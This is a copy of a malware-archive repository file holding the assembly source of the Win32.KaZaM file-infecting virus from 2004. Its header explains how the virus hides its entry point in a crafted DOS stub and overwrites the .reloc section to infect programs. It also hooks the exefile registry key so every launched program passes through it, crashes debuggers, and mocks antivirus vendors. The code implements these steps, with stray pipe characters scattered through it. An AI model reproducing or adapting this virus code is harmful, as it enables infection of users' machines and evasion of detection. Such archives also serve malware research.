mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1695 lines
55 KiB
NASM
1695 lines
55 KiB
NASM
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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;
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; [ Win32.KaZaM Sinclaire/DCA ]
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; [ 18.10.2004 - Made in Egypt, Cairo ]
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;
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; [ Introduction ]
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;
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; Welcome to 'KaZaM'. This is a new kind of viruses for me as this is the
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; first time to try the EPO (Entry Point Obscuring) technique which was
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; originally created by 'GriYo/29A', anyway a virus without EPO is a very
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; easy detectable virus, however this is not the issue here, the EPO
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; technique am using in this virus is replacing the DOS STUB of the file
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; i want to infect with another STUB which is crafted to load the virus
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; within the original host, how?, *g* let me explain, it obscures the
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; entry point by clearing it in the header, so the victims get executed
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; from the very beginning of the file (Including The 'MZ' Signature)and
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; then 'jmp' to a loader located in the DOS stub code, which is redone to
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; keep compatibility (So Victims Running Under 'MS-DOS' Will Receive No
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; Error). This loader passes control to the virus using a 'SEH' frame to
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; 'jmp', thus, the virus is in it's way to be undetectable, the virus
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; also loads the API's the virus going to use dynamically by the 'CRC32'
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; method, the virus also shows a new method of infection which was
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; presented by our friend 'malfunc' (A Very Good VXER, 'Hi'), how?, *g*
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; let me explain, The virus changes the 'HKCR\exefile\shell\open\command'
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; key to trap any program which gets executed, and then infects them,
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; which is the 'Registery Shell Spawning' method, also the virus infectes
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; files by overwriting the '.reloc' section, the virus also avoids
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; infection troubles under 'Win2K' and 'WinME' that occurs due to the
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; protection of the file by the system <20>SFP<46> (SystemFileProtection), the
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; virus uses 'SEH' (Structured Exceptional Handling) almost everywhere to
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; avoid sudden crashing, also the virus can crash application level
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; debuggers using 'SEH', the virus also avoids to infect bait files or
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; files that are too tiny or too big. The virus was tested under Win95,
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; Win98SE, Win2000, WinNT, WinXP, so it works well under the conditions
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; the virus was tested on, but it may not work for some reasons, who
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; knows o_0.
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;
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; [ Features ]
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; + Infection: Overwriting .reloc section
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; + System Hooking: Changes 'exefile' registry key to trap EXE
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; files execution
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; + EPO: Virus code is run from a crafted loader within DOS
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; stub, using SEH frame
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; + Anti-Bait: Does not infect tiny files (with relocations < virus)
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; + Anti-Debugging: Detects application-level debuggers, tries to
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; kill them with SEH frame
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; + Checks for SFC protection
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; + CRC32 usage to load api's dynamically
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;
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; [ Greetings ]
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;
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; Cyclone00, madman, VxF, SirToro, SlageHammer, Vecna, DR-EF, blueowl
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; Muazzin, opc0de, Falckon, DiA, SPTH, Philie, VirusBuster, Capoeira
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; lifewire, int3, Belial, DoxtorL, i0n, Necronomikon, SnakeMan, Ratter
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; Rajaat, GriYo, ZOMBiE, Vallez, Benny, Knowdeth, Metal, malfunc
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; and other that i forgot about (Sorry wasn't intentional)
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;
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; [ Special Thanks ]
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; Cyclone00: For telling me it's time to stop using offsets addressi-
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; ng and start use the structures we have (hi cyc)
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; SlageHammer: For testing this virus
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; SirToro: For helping me before and showing me some cool stuff ;)
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;
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;
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; [ Word To AV'ers ]
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; I was really disappointed that my virus got named after some worm
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; named Zaka how come Win32.KaZaM get a name as Win32.Zaka as some
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; AV names it as it, however they are not similiar in any ways, and
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; just FYI my other virus got a description even thought this one ki-
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; cks the first one's in almost everything, but i think if this got
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; spread out maybe you would put a nice description and name, sorry
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; that i don't like to spread much but you didn't gave me much choic-
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; e, so word of advice WORK WELL NEXT TIME.
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;
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; [ AV Story ]
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; Well funny story that AV'ers named this virus Zaka.A and not KaZaM
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; but then i realized that KaZaM is kinda near to the word Zaka so i
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; just forgot, we all know how STUPID AV'ers can be ;) but here is a
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; link to see the differnec between Win32.Zaka.A and Worm.Win32.Zaka
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; http://www.viruslist.com/en/find?words=Win32.Zaka
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; The first two enteris belong to the virus the others belong to some
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; other worm called the same name *Sad But True* :P.
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;
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; [ Compilation + Linking ]
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; tasm32 /ml /m2 /m3 /w2 /la KaZaM.asm , ,
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; tlink32 /Tpe /aa /c KaZaM,KaZaM,,import32.lib
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; pewrsec.exe KaZaM.exe
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;
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; [ Disclaimer ]
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; Do your thing, and make me proud =), nah, just am not responsible
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; for anything that happens from this source code. ;)
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;
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;
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; (C) 2004 Sinclaire/DCA [ http://dca-vx.tk ]
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; Win32.KaZaM (C) 2004 Sinclaire/DCA
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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.386 ; Instruction set to be used
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.model flat ; No segmentation!
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include MZ.inc ; DOS (MZ) & Win32 (PE) exe layout
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include PE.inc
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extrn ExitProcess :PROC ; Some APIs used by fake host code
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extrn MessageBoxA :PROC ;
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extrn _wsprintfA :PROC ;
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; Useful equates and macros
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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DEBUG equ FALSE ; Debug
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CRLF equ <13,10> ; New line
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SPAWN_NAME equ <'wafxupdt.exe'> ; Fake virus name for spawning
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VIRUS_NAME equ <'Win32.KaZaM'> ; Real virus name
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VIRUS_VERSION equ <'v1.00'> ; Virus version
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VIRUS_SIZE equ VirusEnd - VirusStart ; Virus size
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OPCODE_JMP_SHORT equ 0EBh ; OPCode for the jump to virus body
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KERNEL32_WIN9X equ 0BFF70000h ; Hardcoded values, in case we don't
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KERNEL32_WINNT equ 077F00000h ; find Kernel32 by other ways. Those
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KERNEL32_WIN2K equ 077E00000h ; values are then checked using SEH
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KERNEL32_WINME equ 0B60000h ; before using them, to avoid PF's
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apicall MACRO apiname ; The following macro is just used
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call [ebp + apiname] ; to call apis, optimizations :)
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ENDM
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SETUP_SEH_HANDLER MACRO label ; The folowing macro is just used
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local @@Skip_Handler ; to call SEH handler, just for
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call @@Skip_Handler ; optimizations so i wouldn't write
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mov esp, [esp + 08h] ; it every time i needed to ;)
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jmp label ; ...
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@@Skip_Handler: ; ...
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xor edx, edx ; ...
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push dword ptr fs:[edx] ; ...
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mov dword ptr fs:[edx], esp ; ...
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ENDM ; ...
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RESTORE_SEH_HANDLER MACRO ;
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xor edx, edx ;
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pop dword ptr fs:[edx] ;
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pop edx ;
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ENDM
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GENERATE_EXCEPTION MACRO ; The following macro is just used
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xor edx, edx ; to generate an exception so that
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div edx ; we can crash application level
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ENDM ; debuggers by dividing by '0'
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STRLEN MACRO ;
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push eax ;
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push esi ;
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push edi ;
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mov edi, esi ;
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xor ecx, ecx ;
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dec ecx ;
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xor eax, eax ;
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repne scasb ;
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mov ecx, edi ;
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sub ecx, esi ;
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pop edi ;
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pop esi ;
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pop eax ;
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ENDM ;
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; Some global constants
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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NULL EQU 0
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FALSE EQU 0
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TRUE EQU 1
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MAX_PATH EQU 260
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STANDARD_RIGHTS_REQUIRED EQU 000F0000h
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GMEM_FIXED EQU 0000h
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GMEM_ZEROINIT EQU 40h
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GENERIC_READ EQU 80000000h
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GENERIC_WRITE EQU 40000000h
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FILE_ATTRIBUTE_NORMAL EQU 00000080h
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OPEN_EXISTING EQU 3
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SECTION_QUERY EQU 00000001h
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SECTION_MAP_WRITE EQU 00000002h
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SECTION_MAP_READ EQU 00000004h
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SECTION_MAP_EXECUTE EQU 00000008h
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SECTION_EXTEND_SIZE EQU 00000010h
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SECTION_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR \
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SECTION_QUERY OR \
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SECTION_MAP_WRITE OR \
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SECTION_MAP_READ OR \
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SECTION_MAP_EXECUTE OR \
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SECTION_EXTEND_SIZE
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STANDARD_RIGHTS_ALL EQU 1F0000h
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KEY_QUERY_VALUE EQU 1h
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KEY_SET_VALUE EQU 2h
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KEY_CREATE_SUB_KEY EQU 4h
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KEY_ENUMERATE_SUB_KEYS EQU 8h
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KEY_NOTIFY EQU 10h
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KEY_CREATE_LINK EQU 20h
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SYNCHRONIZE EQU 100000h
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KEY_ALL_ACCESS EQU STANDARD_RIGHTS_ALL OR \
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KEY_QUERY_VALUE OR \
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KEY_SET_VALUE OR \
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KEY_CREATE_SUB_KEY OR \
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KEY_ENUMERATE_SUB_KEYS OR \
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KEY_NOTIFY OR \
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KEY_CREATE_LINK AND NOT \
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SYNCHRONIZE
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HKEY_CLASSES_ROOT EQU 80000000h
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FILE_MAP_ALL_ACCESS EQU SECTION_ALL_ACCESS
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PAGE_READWRITE EQU 00000004h
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FILE_SHARE_READ EQU 00000001h
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REG_SZ EQU 1h
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STARTUPINFO struc
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cb DWORD ?
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lpReserved DWORD ?
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lpDesktop DWORD ?
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lpTitle DWORD ?
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dwX DWORD ?
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dwY DWORD ?
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dwXSize DWORD ?
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dwYSize DWORD ?
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dwXCountChars DWORD ?
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dwYCountChars DWORD ?
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dwFillAttribute DWORD ?
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dwFlags DWORD ?
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wShowWindow WORD ?
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cbReserved2 WORD ?
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lpReserved2 DWORD ?
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hStdInput DWORD ?
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hStdOutput DWORD ?
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hStdError DWORD ?
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STARTUPINFO ends
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SYSTEMTIME struc
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wYear DWORD ?
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wMonth DWORD ?
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wDayOfWeek DWORD ?
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wDay DWORD ?
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wHour DWORD ?
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wMinute DWORD ?
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wSecond DWORD ?
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wMilliseconds DWORD ?
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SYSTEMTIME ends
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PROCESS_INFORMATION struc
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hProcess DWORD ?
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hThread DWORD ?
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dwProcessId DWORD ?
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dwThreadId DWORD ?
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PROCESS_INFORMATION ends
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; Host Data
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; This data is used only by first-generation fake host code
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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.data
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szTitle db VIRUS_NAME, 0
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szTemplate db 'Virus ',VIRUS_NAME,' ',VIRUS_VERSION,' ','has been activated.', CRLF, CRLF
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db 'Am a singing kangaroo, and am from far away, i like to hop hop hop all day', CRLF, CRLF
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db 'Current virus size is %i bytes (0x%X bytes).'
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db 'Have a nice day. :)', 0
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szBait db 'bait1.exe', 0
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; Virus Code
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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.code
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VirusStart:
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; Setup everything
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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call GetDeltaOffset ; See where are we ?
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GetDeltaOffset: ;
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pop ebp ;
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sub ebp, offset GetDeltaOffset ; EBP = Place where we are in (virus)
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test ebp, ebp ; Check if it's the first generation
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jz FirstGenEntry ; We are ?
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mov esp, [esp + 08h] ;
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RESTORE_SEH_HANDLER ;
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mov eax, [ebp + File_EntryPoint] ; Original EP (saved during infection)
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mov [ebp + HostEntry], eax ; Save it in a safe place
|
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FirstGenEntry:
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cld ; We don't like surprises...
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mov esi, [esp] ; To find Kernel32 we will use the
|
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call FindKernel32 ; ret address in the stack, wich
|
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jc ReturnToHost ; (hopefully) will point into it
|
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call LocateAPIs ; Get API Addresses
|
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jc ReturnToHost ; Return to host
|
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test ebp, ebp ;
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jz FakeHost ; Jump to the fake host
|
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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; Starting Stuff
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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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call RNG_Init ; Init the Random Number Generator
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call DetectDebuggers ; Detect and kill application level debuggers
|
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jc ReturnToHost ; Return back to host
|
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call ParseCommandLine ; Get commandline args
|
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jnc ExecutedFromReg
|
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call SetupRegHook ; Setup the shell spawning method
|
|||
|
jmp ReturnToHost ; Return back to host
|
|||
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|||
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ExecutedFromReg:
|
|||
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mov esi, [ebp + CmdExefile] ;
|
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IF DEBUG ;
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push 1040h ;
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lea edx, [ebp + szVirusName] ;
|
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push edx ;
|
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push esi ;
|
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push NULL ;
|
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apicall MessageBox ;
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ELSE ;
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call InfectFile ;
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ENDIF ;
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jne ExecuteVictim ;
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push 1040h ;
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lea edx, [ebp + szVirusName] ;
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push edx ;
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lea edx, [ebp + szVirusCredits] ;
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push edx ;
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|
push NULL ;
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apicall MessageBox ;
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|||
|
IF DEBUG ;
|
|||
|
ELSE ;
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jmp ExitToWindows ;
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|
ENDIF ;
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|||
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|
|||
|
ExecuteVictim:
|
|||
|
mov esi, [ebp + CmdSpawn] ;
|
|||
|
mov ebx, [ebp + ProcessInfo] ; Must execute our command line
|
|||
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mov edx, [ebp + StartupInfo] ; as a new process
|
|||
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|
|||
|
xor eax, eax
|
|||
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|
|||
|
push ebx
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push edx
|
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|
push eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push esi
|
|||
|
push eax
|
|||
|
apicall CreateProcess
|
|||
|
|
|||
|
ExitToWindows:
|
|||
|
push 0
|
|||
|
apicall ExitProcess_
|
|||
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|
|||
|
ReturnToHost:
|
|||
|
test ebp, ebp
|
|||
|
jz FakeHost_Quit
|
|||
|
push [ebp + HostEntry]
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
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|||
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|
|||
|
;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Virus Subroutines ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; 1) DetectDebuggers ;
|
|||
|
; 2) FindKernel32 ;
|
|||
|
; 3) LocateAPIs ;
|
|||
|
; 4) ParseCommandLine ;
|
|||
|
; 5) SetupRegHook ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; DetectDebuggers ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Discription : ;
|
|||
|
; Detects application level debuggers and tries to kill them with SEH ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; None ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; CF : Set if debugger persists, clear if not ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
DetectDebuggers:
|
|||
|
pushad
|
|||
|
SETUP_SEH_HANDLER FD_Continue ; Use SEH to kill debuggers
|
|||
|
xor eax, eax ; Generate an exception (divide by 0)
|
|||
|
div eax ;
|
|||
|
RESTORE_SEH_HANDLER ; Here some abnormal occured
|
|||
|
jmp FD_Debugger_Found ; So lets quit
|
|||
|
|
|||
|
FD_Continue: ; Execution should resume at this pnt
|
|||
|
RESTORE_SEH_HANDLER ; Remove handler
|
|||
|
mov eax, fs:[20h] ; Detect application-level debugger
|
|||
|
test eax, eax ; Is present?
|
|||
|
jnz FD_Debugger_Found ; Quit!
|
|||
|
|
|||
|
popad ; No debuggers found, so restore registeres
|
|||
|
|
|||
|
clc ; Clear carry flag
|
|||
|
|
|||
|
ret ; Return
|
|||
|
|
|||
|
FD_Debugger_Found:
|
|||
|
popad
|
|||
|
|
|||
|
stc
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; FindKernel32 ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Tries to find Kernel32 base address by scanning back from a certain ;
|
|||
|
; address and, if that fails, by using some hardcoded values ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; ESI : must point somewhere into kernel32 ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; _var!Kernel32 : Will point to Kernel32 base address ;
|
|||
|
; CF (Cary Flag) : Set on error ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
FindKernel32:
|
|||
|
pushad
|
|||
|
|
|||
|
and esi, 0FFFF0000h
|
|||
|
mov ecx, 100h
|
|||
|
|
|||
|
FK32_Loop:
|
|||
|
call TryAddress
|
|||
|
jnc FK32_Success
|
|||
|
sub esi, 010000h
|
|||
|
loop FK32_Loop
|
|||
|
|
|||
|
FK32_Hardcodes:
|
|||
|
mov esi, KERNEL32_WIN9X
|
|||
|
call TryAddress
|
|||
|
jnc FK32_Success
|
|||
|
|
|||
|
mov esi, KERNEL32_WINNT
|
|||
|
call TryAddress
|
|||
|
jnc FK32_Success
|
|||
|
|
|||
|
mov esi, KERNEL32_WIN2K
|
|||
|
call TryAddress
|
|||
|
jnc FK32_Success
|
|||
|
|
|||
|
mov esi, KERNEL32_WINME
|
|||
|
call TryAddress
|
|||
|
jnc FK32_Success
|
|||
|
|
|||
|
FK32_Fail:
|
|||
|
popad
|
|||
|
|
|||
|
stc
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
FK32_Success:
|
|||
|
mov [ebp + Kernel32], esi
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
clc
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; LocateAPIs ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Gets all API addresses that our virus needs ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; None ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; CF (Carry Flag) : set on error, clear on success ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
LocateAPIs:
|
|||
|
pushad
|
|||
|
|
|||
|
mov ebx, [ebp + Kernel32] ; Having found Kernel32, we will get
|
|||
|
lea esi, [ebp + Kernel_API_CRC32] ; an array of API addresses by their
|
|||
|
lea edi, [ebp + Kernel_API_Addr] ; names CRC32, scanning the Kernel32
|
|||
|
call GetAPIArray ; export table
|
|||
|
jc LA_Fail ;
|
|||
|
|
|||
|
lea edx, [ebp + szUser32] ; More API's! This time we call
|
|||
|
push edx ; LoadLibrary to get User32
|
|||
|
apicall LoadLibrary ; Call API
|
|||
|
mov ebx, eax ; EBX = Module handle
|
|||
|
lea esi, [ebp + User_API_CRC32] ; ESI = Pointer to CRC32 table
|
|||
|
lea edi, [ebp + User_API_Addr] ; EDI = Where to store addresses
|
|||
|
call GetAPIArray ; Call our procedure
|
|||
|
jc LA_Fail ; Any problem? If so, bail out
|
|||
|
|
|||
|
lea edx, [ebp + szAdvapi32] ; More API's!
|
|||
|
push edx ;
|
|||
|
apicall LoadLibrary ;
|
|||
|
mov ebx, eax ;
|
|||
|
lea esi, [ebp + Advapi_API_CRC32] ;
|
|||
|
lea edi, [ebp + Advapi_API_Addr] ;
|
|||
|
call GetAPIArray ;
|
|||
|
jc LA_Fail ; Any problem? If so, bail out
|
|||
|
|
|||
|
LA_Success:
|
|||
|
popad
|
|||
|
|
|||
|
clc
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
LA_Fail:
|
|||
|
popad
|
|||
|
|
|||
|
stc
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; ParseCommandLine ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Parses our commandline and checks for special params ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; None ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; _var!CmdLine ;
|
|||
|
; _var!CmdSpawn ;
|
|||
|
; _var!CmdExefile ;
|
|||
|
; CF (Carry Flag) : Set if no special param found, clear otherwise ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
ParseCommandLine:
|
|||
|
pushad
|
|||
|
|
|||
|
xor eax, eax
|
|||
|
mov [ebp + CmdSpawn], eax
|
|||
|
mov [ebp + CmdExefile], eax
|
|||
|
apicall GetCommandLine ; Get our command line
|
|||
|
mov [ebp + CmdLine], eax ; Save it
|
|||
|
|
|||
|
mov esi, eax ;
|
|||
|
call GetNextParam ;
|
|||
|
jc PCL_Quit ;
|
|||
|
|
|||
|
lodsb
|
|||
|
dec al
|
|||
|
jnz PCL_Quit
|
|||
|
mov [ebp + CmdSpawn], esi
|
|||
|
|
|||
|
STRLEN
|
|||
|
push ecx
|
|||
|
push GMEM_FIXED
|
|||
|
apicall GlobalAlloc
|
|||
|
mov [ebp + CmdExefile], eax
|
|||
|
|
|||
|
mov edi, eax
|
|||
|
STRLEN
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov esi, [ebp + CmdExefile]
|
|||
|
call GetNextParam
|
|||
|
jc PCL_Quit
|
|||
|
|
|||
|
dec esi
|
|||
|
mov byte ptr [esi], 0
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
clc
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
PCL_Quit:
|
|||
|
popad
|
|||
|
|
|||
|
stc
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; SetupRegHook ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Copies our host to Windows directory and changes the 'exefile' ;
|
|||
|
; key in reg ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; None ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; None ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
SetupRegHook:
|
|||
|
pushad
|
|||
|
|
|||
|
sub esp, MAX_PATH
|
|||
|
mov esi, esp
|
|||
|
sub esp, MAX_PATH
|
|||
|
mov edi, esp
|
|||
|
|
|||
|
push MAX_PATH
|
|||
|
push edi
|
|||
|
apicall GetWindowsDirectory
|
|||
|
|
|||
|
lea edx, [ebp + szSpawnFile]
|
|||
|
push edx
|
|||
|
push edi
|
|||
|
apicall lstrcat
|
|||
|
|
|||
|
push MAX_PATH
|
|||
|
push esi
|
|||
|
push NULL
|
|||
|
apicall GetModuleFileName
|
|||
|
|
|||
|
push FALSE
|
|||
|
push edi
|
|||
|
push esi
|
|||
|
apicall CopyFile
|
|||
|
|
|||
|
lea esi, [ebp + szRegValue]
|
|||
|
lea edi, [ebp + szRegKey]
|
|||
|
mov edx, HKEY_CLASSES_ROOT
|
|||
|
call ChangeRegString
|
|||
|
|
|||
|
add esp, MAX_PATH + MAX_PATH
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;
|
|||
|
; Virus Functions ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; 1) ChangeRegString ;
|
|||
|
; 2) GetAPIAddress ;
|
|||
|
; 3) GetAPIArray ;
|
|||
|
; 4) GetCRC32 ;
|
|||
|
; 5) GetNextParam ;
|
|||
|
; 6) TryAddress ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; ChangeRegString ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Shortcut to change a registry string ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; EDI : pointer to key to be changed ;
|
|||
|
; ESI : pointer to key value ;
|
|||
|
; EDX : hotkey ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; None ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
ChangeRegString:
|
|||
|
pushad
|
|||
|
|
|||
|
sub esp, 4
|
|||
|
mov ebx, esp
|
|||
|
|
|||
|
push ebx
|
|||
|
push KEY_ALL_ACCESS
|
|||
|
push 0
|
|||
|
push edi
|
|||
|
push edx
|
|||
|
apicall RegOpenKeyEx
|
|||
|
|
|||
|
STRLEN
|
|||
|
dec ecx
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
push REG_SZ
|
|||
|
push NULL
|
|||
|
push dword ptr [ebx]
|
|||
|
apicall RegSetValue
|
|||
|
|
|||
|
push dword ptr [ebx]
|
|||
|
apicall RegCloseKey
|
|||
|
|
|||
|
add esp, 4
|
|||
|
|
|||
|
popad
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; GetAPIAddress ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
